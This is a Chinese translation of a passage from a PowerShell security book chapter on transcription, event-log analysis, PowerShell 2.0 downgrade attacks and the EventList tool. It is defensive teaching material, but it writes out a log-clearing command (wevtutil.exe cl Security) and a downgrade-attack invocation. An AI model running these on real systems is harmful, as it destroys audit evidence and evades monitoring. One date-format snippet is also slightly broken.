了解Start-Transcript帮助文件中所有参数的完整列表,或者在官方 PowerShell 文档中查看:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7#parameters

确保你的转录安全

和你收集的任何安全日志一样,确保将转录文件安全存储,以防止攻击者篡改它们非常重要。确保配置一个安全路径,令攻击者难以访问,并考虑到企业身份被盗的可能性。一旦攻击者获得转录的访问权限,他们可以修改它们,从而使你的检测工作失效。

使用Start-Transcript初始化的转录只会在会话处于活动状态或执行Stop-Transcript命令时停止,后者会停止记录执行的 PowerShell 命令。

默认启用转录

要在系统上默认启用转录,你可以通过注册表或使用组策略来为多个系统配置转录。

通过注册表或脚本启用转录

配置 PowerShell 转录时,使用以下注册表项:

HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription

例如,要启用转录,使用调用头并设置C:\tmp输出文件夹,你需要将以下值配置到注册表键中:

  • [REG_DWORD]EnableTranscripting = 1

  • [REG_DWORD]EnableInvocationHeader = 1

  • [REG_SZ]OutputDirectory =** **C:\tmp

要管理多个机器,使用 GPO 更为方便,但在某些情况下,有些机器不属于 Active Directory 域,因此无法管理。对于本示例,我将Enable-PSTranscription函数添加到本书的 GitHub 存储库中:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter04/Enable-PSTranscription.ps1

Enable-PSTranscription函数加载到当前会话中,并指定转录文件应保存的文件夹,例如以下示例:

> Enable-PSTranscription -OutputDirectory "C:\PSLogs"

如果未指定-OutputDirectory,脚本将默认将转录写入C:\ProgramData\WindowsPowerShell\Transcripts

此函数仅配置所有已定义的值,并覆盖现有的注册表键。你可以根据需要调整此函数并重新使用它。

一旦新的会话启动,转录内容将被写入到配置的文件夹中。

使用组策略启用转录

在 Active Directory 管理的环境中,配置转录的最简单方法是使用组策略。

创建一个新的 GPO 或重用现有的 GPO。然后,导航至计算机配置 | 策略 | 管理模板 | **Windows 组件 | **Windows PowerShell

双击并打开启用 PowerShell 转录策略来配置 PowerShell 转录:

图 4.8 – 启用 PowerShell 转录

图 4.8 – 启用 PowerShell 转录

将策略设置为启用,并选择是否包含转录输出目录和调用头。如果未指定输出目录,转录内容将保存在当前用户的我的文档文件夹中(%userprofile%\Documents)。

为 PowerShell 远程会话启用转录

自定义端点是为 PowerShell 远程会话应用默认设置的绝佳方式。如果已经配置了转录,它将默认启用本地会话,但在足够的管理权限中额外配置它,可以在用于远程会话时按端点分组并收集日志。通过在自定义端点上配置转录和其他设置,您可以强制执行这些设置,以确保所有连接到该端点的远程会话都符合一致性和合规性要求。

要开始使用,请创建一个会话配置文件,使用New-PSSessionConfigurationFile cmdlet,并通过-TranscriptDirectory参数指定转录内容应该写入的目录:

> New-PSSessionConfigurationFile -Path "$env:userprofile\Documents\PSSession.pssc" -TranscriptDirectory "C:\tmp"

该命令创建一个新的会话配置文件,强制启用转录,并将其存储在%userprofile%\Documents\PSSession.pssc路径下,该路径是通过-Path参数定义的。

图 4.9 – 新创建的会话配置

图 4.9 – 新创建的会话配置

我们在第三章《探索 PowerShell 远程管理技术和 PowerShell 远程控制》中介绍了自定义端点,接下来我们将在第十章《语言模式和适当的管理权限(JEA)》中深入探讨足够管理。要了解有关自定义端点和适当的管理权限的更多信息,请确保查看这两章内容。

PowerShell 转录的最佳实践

作为安全最佳实践,对每个用户使用会话转录本。这并不意味着你的管理员在你的机器上做坏事,需要进行监控。我并不鼓励对自己员工的信任产生怀疑。然而,凭证窃取是一个真实的威胁,如果管理员的身份被盗用并加以滥用,你会很高兴能了解对方做了什么。

如果你使用转录本,请确保它们无法被修改。如果它们可以被攻击者篡改,那么它们几乎没有任何作用。

所以,确保提供一个指向预配置文件夹的路径,并通过 GPO、手动配置或会话配置文件来指定它。禁止所有用户修改或删除该文件夹中的任何数据。本地系统账户需要读取和写入权限,因此确保根据需要配置访问权限。

最后,最重要的是,将所有的转录文件转发到一个中央日志服务器或你的 SIEM,以便定期分析它们。

将转录文件集中存储的一个有效方法是将其目标配置为统一命名规范(UNC)路径,并使用动态文件名。例如,你可以将转录目录设置为一个具有只写权限的网络共享,使用 PowerShell 配置文件将所有活动记录到一个具有唯一名称的文件中,如下所示:

\\server\share$\env:computername-$($env:userdomain)-$($env:username)-$(Get-Date Format YYYYMMddhhmmss).txt

同时,确保这个共享对普通用户不可读。通过使用这种方法,你可以轻松地从所有机器中收集并分析日志,集中存储,使你能够更好地检测和响应安全事件,而不需要建立整个日志基础设施。

除了收集日志之外,分析它们同样重要。在接下来的部分,我们将探讨用于日志分析的技术和工具。

分析事件日志

有几种方法可以使用 PowerShell 操作 Windows 事件日志。当然,你可以将事件日志转发到你选择的 SIEM,但有时你可能需要直接分析某台机器上的事件日志。在这种用例下,查看 PowerShell 提供的选项是有意义的。

如果你只是想分析事件或创建新事件,最简单的选择是使用*-WinEvent cmdlets,它们在 PowerShell Core 7 中仍然可用。你可以使用Get-Command查找所有可用的 cmdlet:

图 4.10 – 可用的 *-WinEvent cmdlets

图 4.10 – 可用的 *-WinEvent cmdlets

在 PowerShell 5.1 中,也可以使用 *-EventLog cmdlets,但它们在 PowerShell Core 6 及以上版本中被移除。由于 PowerShell 5.1 默认安装在所有 Windows 10 操作系统上,因此这里提到 *-EventLog。同样,使用Get-Command查找所有可用的 cmdlet:

图 4.11 – 可用的 *-EventLog cmdlets

图 4.11 – 可用的 *-EventLog cmdlets

第三个选项是使用 wevtutil。这个命令行可执行文件并不容易理解,但可以用来操作和分析事件日志。使用 /? 参数,你可以获取更多关于用法的详细信息。

图 4.12 – wevtutil.exe 使用方法

图 4.12 – wevtutil.exe 使用方法

例如,清除 Security 事件日志可以通过以下命令实现:

> wevtutil.exe cl Security

请参考官方文档以获取有关 wevtutil 的更多详细信息:docs.microsoft.com/de-de/windows-server/administration/windows-commands/wevtutil

查找系统中存在的日志

如果你想查找系统中存在的哪些事件日志,可以使用 -ListLog 参数,后面跟一个通配符(*****)– Get-WinEvent -ListLog *

图 4.13 – 列出所有事件日志

图 4.13 – 列出所有事件日志

你可能希望将输出传递给 Sort-Object 以按记录数、最大日志大小、日志模式或日志名称进行排序。

一般查询事件

要开始,先看看我们如何分析 PowerShell 审计的最常见场景。

使用 Get-WinEvent 命令,你可以从指定的事件日志中获取所有事件 ID – Get-WinEvent Microsoft-Windows-PowerShell/Operational

图 4.14 – 查询 Microsoft Windows PowerShell 操作日志

图 4.14 – 查询 Microsoft Windows PowerShell 操作日志

在这个例子中,你会看到 PowerShell 操作日志中生成的所有事件 ID。

如果你只想查询最近的 x 个事件,-MaxEvents 参数将帮助你完成此任务。例如,要查询 Security 事件日志中的最后 15 个事件,请使用 Get-WinEvent Security -MaxEvents 15

图 4.15 – 查询安全事件日志中的最后 15 个事件

图 4.15 – 查询安全事件日志中的最后 15 个事件

这对于你想要分析最近的事件而不查询整个事件日志时特别有帮助。

使用 -Oldest 参数可以反转顺序,以便你查看日志中的最旧事件 – Get-WinEvent Security -MaxEvents 15 -Oldest

图 4.16 – 安全事件日志中的 15 条最旧事件

图 4.16 – 安全事件日志中的 15 条最旧事件

要查找所有在 Microsoft Windows PowerShell 操作日志中执行并被 ScriptBlockLogging 记录的代码,可以筛选事件 ID 4104Get-WinEvent Microsoft-Windows-PowerShell/Operational | Where-Object { $_.Id -eq 4104 } | fl

图 4.17 – 查找所有执行并记录的代码

图 4.17 – 查找所有执行并记录的代码

你还可以根据消息部分中的特定关键字进行过滤。例如,要查找所有消息中包含 "logon" 字符串的事件,可以使用 -match 比较运算符 – Get-WinEvent Security | Where-Object { $_.Message -match "****logon" }

图 4.18 – 查找所有消息中包含“logon”的事件

图 4.18 – 查找所有消息中包含“logon”的事件

你还可以使用基于 XPath 的查询进行过滤,使用 -****FilterXPath 参数:

Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -FilterXPath "*[System[(EventID=4100 or EventID=4101 or EventID=4102 or EventID=4103 or EventID=4104)]]"

输出结果如下所示:

图 4.19 – 使用 XPath 查询进行过滤

图 4.19 – 使用 XPath 查询进行过滤

还可以通过指定的 哈希表 进行过滤,使用 -****FilterHashtable 参数:

> $eventLog = @{ ProviderName="Microsoft-Windows-PowerShell"; Id = 4104 }
> Get-WinEvent -FilterHashtable $eventLog

使用哈希表可以显著减少对Where-Object过滤子句的使用。

如果你想查询复杂的事件结构,可以使用 -FilterXml 参数并提供 XML 字符串。我已经准备了这样的示例,并将其上传到本书的 GitHub 仓库:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter04/Get-AllPowerShellEvents.ps1

图 4.20 – 使用 Get-AllPowerShellEvents.ps1 脚本

图 4.20 – 使用 Get-AllPowerShellEvents.ps1 脚本

这个示例查询了 Microsoft-Windows-PowerShell/OperationalPowerShellCore/OperationalWindows PowerShell 事件日志,并检索了我将在本章的 基本 PowerShell 事件日志 部分中描述的所有事件。

现在你已经知道如何处理事件日志并查询事件,接下来让我们看看如何检测和分析系统上运行了哪个代码。

系统上运行了哪个代码?

如果你决定手动执行此任务,过滤并滚动浏览所有包含已执行代码的事件可能是一项繁琐的工作。但是,幸运的是,PowerShell 允许你自动化此任务并快速找到你需要的内容。

一般来说,所有包含已记录代码的事件可以在 Microsoft Windows PowerShell 或 PowerShell Core 操作日志中找到,事件 ID 为 4104

> Get-WinEvent Microsoft-Windows-PowerShell/Operational | Where-Object Id -eq 4104
> Get-WinEvent PowerShellCore/Operational | Where-Object Id -eq 4104

为了更好地查找和过滤执行的代码,我编写了 Get-ExecutedCode 函数,你可以在本书的 GitHub 仓库中找到它:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter04/Get-ExecutedCode.ps1

降级攻击

由于 5.1 及以上版本引入了许多新的安全功能,较旧的 PowerShell 版本,如 2.0,变得对攻击者更具吸引力。因此,攻击者常用的一种手段就是所谓的降级攻击

可以通过在运行 powershell.exe 时指定版本号来执行降级攻击:

> powershell.exe -version 2 –command <command>

如果指定的版本已安装,命令将运行,使用的是已弃用的二进制文件,这意味着只有该版本编写时存在的安全功能才会生效。

所有运行 Windows 7 及以上版本的机器至少安装了 PowerShell 2.0 版本。虽然 Windows 7 已不再获得支持,也不再接收安全更新,但它仍然广泛使用。

此外,PowerShell 2.0 仍然依赖于.NET Framework 2.0,该版本不包含先进的安全功能,也没有高级日志记录功能。因此,这对那些不希望任何人知道他们在系统上做了什么的攻击者来说非常适用。

.NET Framework 2.0 默认不包括在 Windows 10 中,但可以手动安装——例如,由攻击者或管理员安装。在 Windows 10 之前的操作系统中,.NET Framework 2.0 是默认安装的。

在 Windows 8 上,可以通过在提升权限的控制台中运行以下命令来禁用 PowerShell 2.0:

Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

运行 PowerShell 2.0 所需的 .NET Framework 2.0 默认不会安装在如 Windows 10 这样的较新系统上。

所以,如果你尝试运行powershell.exe -version 2,你会收到一个错误信息,提示缺少 .NET Framework 2.0 版本:

> powershell.exe -version 2
Version v2.0.50727 of the .NET Framework is not installed and it is required to run version 2 of Windows PowerShell.

由于 .NET Framework 2.0 可以手动安装——无论是系统管理员还是攻击者——请确保检查 PowerShell 2.0 版本并将其禁用。

运行以下命令检查 PowerShell 2.0 是否已启用或禁用:

> Get-WindowsOptionalFeature -Online | Where-Object {$_.FeatureName -match "PowerShellv2"}
FeatureName : MicrosoftWindowsPowerShellV2Root
State       : Enabled
FeatureName : MicrosoftWindowsPowerShellV2
State       : Enabled

所以,看起来 PowerShell 2.0 仍然在这台机器上启用。因此,如果缺少的 .NET Framework 2.0 被安装,那么该系统将容易受到降级攻击。

因此,让我们通过运行以下命令来禁用 PowerShell 2.0,从而加强系统安全:

Get-WindowsOptionalFeature -Online | Where-Object {$_.FeatureName -match "PowerShellv2"} | ForEach-Object {Disable-WindowsOptionalFeature -Online -FeatureName $_.FeatureName -Remove}

你会在输出中看到需要重启,所以在你重启电脑后,修改会生效,PowerShell 2.0 将被禁用:

> Get-WindowsOptionalFeature -Online | Where-Object {$_.FeatureName -match "PowerShellv2"} | ForEach-Object {Disable-WindowsOptionalFeature -Online -FeatureName $_.FeatureName -Remove}
Path          :
Online        : True
RestartNeeded : False
Path          :
Online        : True
RestartNeeded : False

所以,如果你再验证一次,你会看到状态被设置为禁用

> Get-WindowsOptionalFeature -Online | Where-Object {$_.FeatureName -match "PowerShellv2"}
FeatureName : MicrosoftWindowsPowerShellV2Root
State       : Disabled
FeatureName : MicrosoftWindowsPowerShellV2
State       : Disabled

然而,在 Windows 7 上,无法禁用 PowerShell 2.0。唯一不允许使用 PowerShell 2.0 的方式是利用应用程序控制AppLocker,我们将在第十一章中讨论,AppLocker、应用程序控制和 代码签名

对于对手而言,还有另一种运行降级攻击的方法 - 例如,如果编译的应用程序利用旧版本的 PowerShell,并链接到编译的 PowerShell v2 二进制文件,攻击者可以通过利用该应用程序发起降级攻击。因此,每当此应用程序运行时,PowerShell v2 也处于活动状态,如果攻击者设法利用该应用程序,则可以使用它。

在这种情况下,禁用 PowerShell 2.0 可以帮助防止此类攻击,方法是阻止全局程序集缓存(GAC)中的不推荐的二进制文件,或者完全移除 PowerShell 组件。然而,重要的是要注意,依赖这些二进制文件的其他应用程序也将被阻止,因为它们通常不会随所有 PowerShell 二进制文件一起发布。

通常,降级攻击是一个非常关键的问题,因此,您应该对其进行监控。您可以通过监控 Windows PowerShell 事件日志中的事件 ID 400 来执行此操作 - 如果指定版本低于 [Version] "5",则应进一步进行调查。

李·霍姆斯(Lee Holmes)曾是微软 Windows PowerShell 团队的一员,他在他的博客文章检测和防止 PowerShell 降级攻击中提供了一个很好的例子,通过查找 PowerShell 事件日志中的事件 ID 400 来监控潜在的降级攻击:www.leeholmes.com/detecting-and-preventing-powershell-downgrade-attacks/

使用此示例查找加载较低版本的 PowerShell 引擎的情况:

Get-WinEvent -LogName "Windows PowerShell" | Where-Object Id -eq 400 | Foreach-Object {
        $version = [Version] ($_.Message -replace '(?s).*EngineVersion=([\d\.]+)*.*','$1')
        if($version -lt ([Version] "5.0")) { $_ }
}

EventList

在我在微软担任高级现场工程师期间,我与许多刚刚从零开始建立 SOC 的客户合作过。这些客户不仅希望设置日志事件转发,还向我询问加固其 Windows 环境的最佳实践。

谈到加固 Windows 环境时,您不能忽视微软安全与合规工具包SCT):www.microsoft.com/en-us/download/details.aspx?id=55319

我将在稍后的第六章Active Directory – Attacks and Mitigation以及第十三章What Else? – Further Mitigations and Resources中更详细地讨论工具包的某些部分。总的来说,此工具包包含几个工具,用于比较和验证您的配置,以及所谓的基线

这些基线旨在提供加固指导 - 这些设置对您的安全姿态非常重要,以及监控配置

毫无疑问,您不应仅仅强制执行这些基线而没有一个结构化的计划,并了解您正在配置的设置的影响。

如果为某台计算机配置了基线,由于监控配置的帮助,新的事件将会生成在安全事件日志中。

当我与客户合作时,我总是建议在一个结构良好的计划之后应用 Microsoft 安全基线。

有一次,我在客户现场,刚刚建议他们应该应用 Microsoft 安全基线,以便查看更多事件 ID。在推荐应用这些基线后,客户问我是否有概览来查看启用特定基线后会生成哪些额外的事件 ID,比如Windows 2016 域控制器基线

我只知道一个文档,他们可以利用它自行查找相关信息,那就是Windows 10 和 Windows Server 2016 安全审计与监控 参考资料www.microsoft.com/en-us/download/details.aspx?id=52630

尽管本文档提供了关于所有高级审计策略配置项的惊人详细信息,涵盖了 754 页,但内容相当广泛。

所以,客户并不乐意研究这个庞大的文档,并要求我写下如果他们应用该基线会生成哪些事件。我并不喜欢这样的令人头昏的工作,但我开始为这个基线写下所有的事件。

正在进行时,客户走近我,意识到他们不仅有一种,而是多种基线需要在他们的环境中应用。而且,这些不仅是域控制器基线,还有适用于成员服务器和各种操作系统客户端计算机的基线。所以,他们让我列出所有现有基线的事件 ID。

正如你能想象的那样,我并不特别兴奋于这个新任务。这看起来像是一个非常枯燥且令人疲惫的工作,可能需要多年才能完成。

因此,我考虑到需要自动化基线与事件 ID 的匹配,这也就是我的开源工具EventList诞生的背景。

尽管最初它只是一个包含 Visual Basic 宏的 Excel 文档,但它在这期间变成了一个庞大的项目,背后有着庞大的数据库支持。

图 4.21 – EventList 标志

图 4.21 – EventList 标志

每当我需要处理事件 ID 时,我的 EventList 数据库就成了我唯一的可靠数据源,而且它还在不断增长。

使用 EventList 进行工作

要开始使用,EventList 可以轻松地从 PowerShell Gallery 安装:

> Install-Module EventList

EventList 是用 PowerShell 构建的;因此,即使你只想使用用户界面,也需要运行至少一个 PowerShell 命令。以管理员身份打开 PowerShell 控制台,并输入以下内容:

> Open-EventListGUI

按下Enter键进行确认。几秒钟后,EventList UI 出现。

图 4.22 – EventList 用户界面

图 4.22 – EventList 用户界面

在左上角,您可以选择现有基线并查看在 UI 中填充的MITRE ATT&CK技术和领域。因此,您可以直接查看应用某个基线时涵盖的 MITRE ATT&CK 技术。

您还有可能性导入您自己的基线或导出的 GPO 并删除现有的基线。

一旦您选择了一个基线并填写了 MITRE ATT&CK 复选框,请选择生成 事件列表

图 4.23 - EventList - 显示基线事件

图 4.23 - EventList - 显示基线事件

弹出窗口将打开,您可以选择是否仅为基线事件生成 EventList 或所有 MITRE ATT&CK 事件。

要查看应用某个基线时会生成哪些事件 ID,请选择仅基线事件。确认选择确定以查看您选择的基线/GPO 的 EventList。

图 4.24 - 生成的 EventList

图 4.24 - 生成的 EventList

生成了一个 EventList,在其中您可以看到应用此基线时将生成的每个事件 ID,以及(如果有的话)指向文档的链接以及关于是否应监视此事件的建议。

如果选中导出为 CSV,则可以选择输出保存的位置,并生成一个.csv文件。

由于高级审计日志,微软安全基线主要依赖于基线功能,EventList 在理解和揭示高级审计日志方面提供了很大帮助。

您可以通过在 CLI 上使用以下命令来实现相同的效果:

> Get-BaselineEventList -BaselineName "MSFT Windows Server 2019 - Domain Controller"

需要将基线导入 EventList 数据库,因此在使用Get-BaselineNameFromDB功能验证基线名称时,请确保显示基线名称。

当然,您还可以选择不同的 MITRE ATT&CK 技术和领域,并生成一个 EventList,查看哪些事件 ID 涵盖特定的 MITRE ATT&CK 领域。生成一个 EventList,选择所有 MITRE ATT&CK 事件,然后确认选择确定

弹出窗口将打开,您可以看到与所选 MITRE ATT&CK 技术相关联的所有事件 ID。

图 4.25 - MITRE ATT&CK EventList

图 4.25 - MITRE ATT&CK EventList

再次强调,这可以通过将基线或 MITRE ATT&CK 技术编号传递给Get-MitreEventList功能,使用-Identity参数来实现:

> Get-MitreEventList -Identity "T1039"

下图显示了命令的输出。

图 4.26 - Get-MitreEventList 功能也可以通过命令行运行

图 4.26 - Get-MitreEventList 功能也可以通过命令行运行

当然,EventList 提供了更多的功能。它还提供了生成适用于您自己用例的所有事件 ID 的转发代理片段的可能性。您还可以生成支持您自己用例的自己的 GPO 和查询。

然而,功能太多,无法在本书中详细描述。如果你有兴趣深入了解 EventList,请务必阅读该项目在 GitHub 上的文档,文档地址会在本节结尾提到。一些专家还发现手动查询 EventList 背后的数据库非常有用。

我编写了 EventList,以帮助全球的 SOC 理解需要监控的内容,并简化他们的事件 ID 转发。

我在不断改进 EventList,所以如果你想了解更多,欢迎下载并测试它。你可以从我的 GitHub 仓库 (github.com/miriamxyra/EventList) 下载并安装,或者从 PowerShell Gallery 安装:

> Install-Module EventList -Force

为了更全面地了解 EventList 的功能,我建议阅读文档和帮助文件,并观看我关于它的一些讲座录音:

如果你有任何关于 EventList 的改进建议,我很乐意听到更多,并期待你在 GitHub 上的 Pull Request 或通过 Twitter 或电子邮件与我联系。

开始日志记录

为了提高你的检测能力,建议设置一个 SIEM 系统来收集事件,这样你就能将所有事件日志集中在一个地方,方便你进行追踪并构建自动化告警。

如果你想选择一个 SIEM 系统,选择非常多——适应各种预算和场景。多年来,我见过许多不同的 SIEM 系统,每一个都非常适合各自的组织。

我见过的最流行的 SIEM 系统包括SplunkAzure SentinelArcSightqRadar“ELK 堆栈” (Elastic, LogStash, 和 Kibana),仅举几例。我还使用过Windows 事件转发(WEF) 来实现事件日志监控。

当然,也可以分析本地机器上的事件,但这并不实际——根据配置,如果达到最大日志大小,旧事件会被删除,且很难将其与其他系统的日志相关联。

在本章中,我们还将直接在机器上(或如果你愿意也可以远程)分析事件,但对于实际的生产环境,我建议使用 SIEM 系统——只是确保它适合你的用例再开始使用。

重要的 PowerShell 相关日志文件概述

在我们开始之前,你可能希望配置所有你想要转发到 SIEM 或中央日志服务器的日志。

本节将概述我认为在 PowerShell 日志记录方面重要的所有日志。

基本 PowerShell 事件日志

在使用 PowerShell 时,有三个事件日志是我们关注的重点——Windows PowerShell 日志Microsoft Windows PowerShell 操作日志PowerShellCore 操作日志。我们将在以下小节中讨论每个日志。

Windows PowerShell 日志

Windows PowerShell 一直以来都非常注重安全性和日志记录,甚至在最早的版本中也是如此。实际上,与其他 shell 或脚本语言相比,PowerShell 的早期版本在安全日志记录方面已经具有显著更好的功能。然而,随着时间的推移,PowerShell 语言不断发展,其日志记录功能也得到了极大的扩展,如今提供了更为强大的日志记录能力。

尽管早期版本没有提供您今天在 PowerShell 版本中所知道的安全日志记录功能,但自从版本 1 起,当发生重要引擎事件时,Windows PowerShell 就会将事件写入Windows PowerShell 事件日志。当时,PowerShell 仅提供基本的日志记录功能,这些功能在当前的操作系统中仍然可用,如下所示:

  • 完整名称:Windows PowerShell

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Windows PowerShell.evtx

  • UI 中的路径:**应用程序和服务 | **Windows PowerShell

在这些事件日志中,最有趣的事件 ID 包括以下几种:

  • 事件 ID 200(警告):命令健康。

查找主机应用程序以获取有关执行命令的更多详细信息。

  • 事件 ID 400引擎状态从无 变为可用。

这个事件可能是最有趣的事件,因为它表明引擎何时启动,以及使用的是哪个版本。此事件对于识别和终止过时的 PowerShell 版本(监控HostVersion 小于 5.0)非常理想——并且通常用于降级攻击(有关更多信息,请参见检测降级攻击部分)。

  • 事件 ID 800命令行的管道执行详情 – *<命令行命令>*

尽管事件 ID 800 提供了包含 cmdlet 的命令行执行的详细信息,但它不包括其他可执行文件的信息,如wmic。为了获得更多详细信息,监视来自Microsoft Windows PowerShell 操作日志的事件 ID 41034104 可能更有用。

Microsoft Windows PowerShell 操作日志包含有关 PowerShell 使用的所有相关信息——例如,模块日志记录脚本块日志记录事件都会写入此日志。

Microsoft Windows PowerShell 操作日志

从 Windows Vista 开始,微软引入了一种新的日志记录系统,称为 ETW。作为这一变化的一部分,Microsoft Windows PowerShell 操作日志 被引入,包含了一系列事件 ID,如 41004103(尽管配置它们可能很具挑战性),以及 4096140862 等与 PowerShell 远程日志相关的事件 ID。

随着 KB3000850 的发布,像 模块日志记录脚本块日志记录转录 等高级审计功能可以移植到 PowerShell 版本 4(Windows Server 2012 R2 和 Windows 8.1)。随后,在 PowerShell 版本 5(Windows Server 2016 和 Windows 10)中,这些功能默认启用。

随着这些新的审计功能的引入,也有新的事件类型被加入,比如事件 ID 410441054106,它们为你提供了更高级的日志记录功能:

  • 完整 名称Microsoft-Windows-Powershell/Operational

  • 日志 路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

  • UI 中的路径:**应用程序和服务 | **Microsoft** | **Windows** | **PowerShell** | **Operational

此事件日志中最有趣的事件 ID如下:

  • 事件 ID 4103执行管道/命令调用。如果启用了 PowerShell 模块日志记录,则会生成此事件

  • 事件 ID 4104创建 脚本块文本

如果启用了 ScriptBlockLogging,则会生成此事件。常见的恶意活动,如加载恶意模块或执行可疑命令,都会被记录,无论是否启用 ScriptBlockLogging

  • 事件 ID 4105ScriptBlock_Invoke_Start_Detail(消息:已启动/完成一个脚本块的调用)

如果启用了 ScriptBlockLogging,则会生成此事件。这记录了开始/停止事件。它非常嘈杂,未必适用于安全监控。

  • 事件 ID 4106ScriptBlock_Invoke_Complete_Detail(消息:已启动/完成一个脚本块的调用)

如果启用了 ScriptBlockLogging,则会生成此事件。这记录了开始/停止事件。它非常嘈杂,未必适用于安全监控。

  • 事件 ID 40961PowerShell 控制台正在 启动

该事件表示 PowerShell 控制台已打开。特别是通过此事件监控用户的异常行为(例如,如果 PowerShell 控制台是由不应登录此系统的用户执行,或者是由系统账户执行的)。

  • 事件 ID 40962PowerShell 控制台已准备好接收 用户输入

该事件表示 PowerShell 控制台已启动,并且现在已准备好接收用户输入。特别是通过此事件监控用户的异常行为(例如,如果 PowerShell 控制台是由不应登录此系统的用户执行,或者是由系统账户执行的)。

要筛选特定的事件 ID,可以将Get-WinEvent的输出通过管道传递给Where-Object

> Get-WinEvent Microsoft-Windows-PowerShell/Operational | Where-Object Id -eq 4104

在此示例中,您将获取所有事件 ID 为4104的事件,这表示已创建脚本块。

PowerShellCore 操作日志

当 PowerShell Core 被引入时,PowerShellCore 操作日志也随之推出。它提供了 PowerShell Core 事件日志的高级审计功能:

  • 完整名称PowerShellCore/Operational

  • 日志路径%SystemRoot%\System32\Winevt\Logs\PowerShellCore%4Operational.evtx

  • UI 路径应用程序和服务| **PowerShellCore** |操作日志

记录在此日志文件中的事件 ID 与记录在 Microsoft Windows PowerShell 操作日志中的事件 ID 相同。请参考前面部分的事件 ID。

Windows 远程管理 (WinRM) 日志

Microsoft Windows WinRM 操作日志记录了进出 WinRM 的连接。由于 PowerShell 依赖 WinRM 进行远程管理,因此你也可以在此事件日志中找到 PowerShell 远程连接。因此,监控和分析该日志中的事件 ID 是非常重要的。

  • 完整名称Microsoft-Windows-WinRM/Operational

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-WinRM%4Operational.evtx

  • UI 路径应用程序和服务| **Microsoft** | **Windows** |Windows 远程管理 | 操作日志

在使用 PowerShell 和 WinRM 时,以下是最值得关注的事件,它们通常会出现在 WinRM 事件日志中。

  • 事件 ID 6创建一个 WSMan 会话。

每当建立远程连接时,都会记录此事件。它还包含用户名、目标地址和使用的 PowerShell 版本。

  • 事件 ID 81处理来自客户端的 CreateShell 操作请求或处理来自客户端的 DeleteShell 操作请求。

  • 事件 ID 82:**为 CreateShell 操作进入插件,资源 URI 为 **<http://schemas.microsoft.com/powershell/Microsoft.PowerShell>

  • 事件 ID 134 CreateShell 操作发送响应。

  • 事件 ID 169用户*<domain>\<user>*使用 NTLM 身份验证成功登录。

可以使用Get-WinEvent Microsoft-Windows-WinRM/Operational查询 WinRM 日志中的所有事件。

安全性

安全性事件日志不仅与 PowerShell 相关,还帮助关联事件,如登录/注销和身份验证。

  • 完整名称安全性

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Security.evtx

  • UI 路径Windows 日志 | 安全性

虽然并非所有的安全日志中的事件 ID 都是默认生成的,但最重要的事件 ID 旨在帮助识别安全问题。如果您想实现全面的安全日志记录,我建议将 Microsoft 安全工具包中的 Microsoft 安全基准应用到您的系统中。然而,重要的是要注意,安全基准中的设置应与您组织的资源和能力相匹配。因此,在应用基准之前,建议评估哪些日志设置适合您组织的需求和能力。

您可以在此下载Microsoft 安全工具包www.microsoft.com/en-us/download/details.aspx?id=55319

此事件日志中的事件 ID 是一些最重要的安全监控事件。虽然并非所有事件 ID 都特定于 PowerShell,但它们仍然对维护安全环境至关重要。以下是此事件日志中最有趣的事件 ID

  • 事件 ID 4657注册表值 已修改

  • 事件 ID 4688新进程已创建。请查找“新进程名称”中包含 powershell.exe 的进程。您可以使用创建者进程 ID 来链接哪个进程启动了哪些 其他进程。

  • 事件 ID 1100事件日志服务已 关闭。

  • 事件 ID 1102审核日志 已清除。

  • 事件 ID 1104安全日志 已满。

  • 事件 ID 4624账户已成功 登录。

  • 事件 ID 4625账户登录失败。

安全日志内容丰富,包含大量重要的事件 ID。仅仅覆盖安全日志就可以写成一本完整的书;因此,这个列表并不完整,我这里只列出了与 PowerShell 相关的一些最重要的事件 ID。

然而,哪些安全事件 ID 重要的问题让我失眠了很多个夜晚,因此我开发了一个名为EventList的开源工具。如果你想了解哪些事件 ID 重要,可以查看本章中的转发和分析事件日志 – EventList部分。

系统

在系统日志中,会生成许多与系统相关的日志 ID:

  • 全名系统

  • 日志 路径%SystemRoot%\System32\Winevt\Logs\System.evtx

  • UI 中的路径Windows 日志 | 系统

在此事件日志中,最有趣的事件 ID 如下:

  • 事件 ID 104日志*<name>*已清除。 此事件表明名为 的事件日志已被清除,可能表示攻击者试图隐藏痕迹。特别使用此事件 ID 监控日志名为 “Windows PowerShell," “PowerShell Operational,"“PowerShellCore” 的日志,以检测与 PowerShell 相关的事件日志清除。

根据你监控的内容,在此日志中有许多有趣的事件——例如,每次安装的详细信息。

Windows Defender

从 Windows 10 和 Windows Server 2016 起,默认启用了 Windows Defender 日志,并提供了许多有用的事件。例如,它还包含与恶意软件扫描接口AMSI)相关的事件,AMSI 是 Windows Defender 的一部分:

  • 完整名称Microsoft-Windows-Windows Defender/Operational

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx

  • UI 中的路径应用程序和服务| **Microsoft** | **Windows** | **Windows Defender** |操作日志

此事件日志中关于 PowerShell 安全日志记录的最有趣的事件 ID如下:

  • 事件 ID 1116Microsoft Defender Antivirus 已检测到恶意软件或其他潜在的 不需要的软件。

  • 事件 ID 1117Microsoft Defender Antivirus 已采取措施保护此计算机免受恶意软件或其他潜在的 不需要的软件的影响。

如果在你的机器上使用了 Microsoft Defender,你会在此事件日志中找到更多与 Defender 相关的有趣事件。你可以使用以下参考资料了解更多关于每个 Microsoft Defender 相关事件 ID 的信息:learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus

我们将在第十二章中更详细地了解 AMSI,探索恶意软件扫描接口AMSI)。

Windows Defender 应用控制与 AppLocker

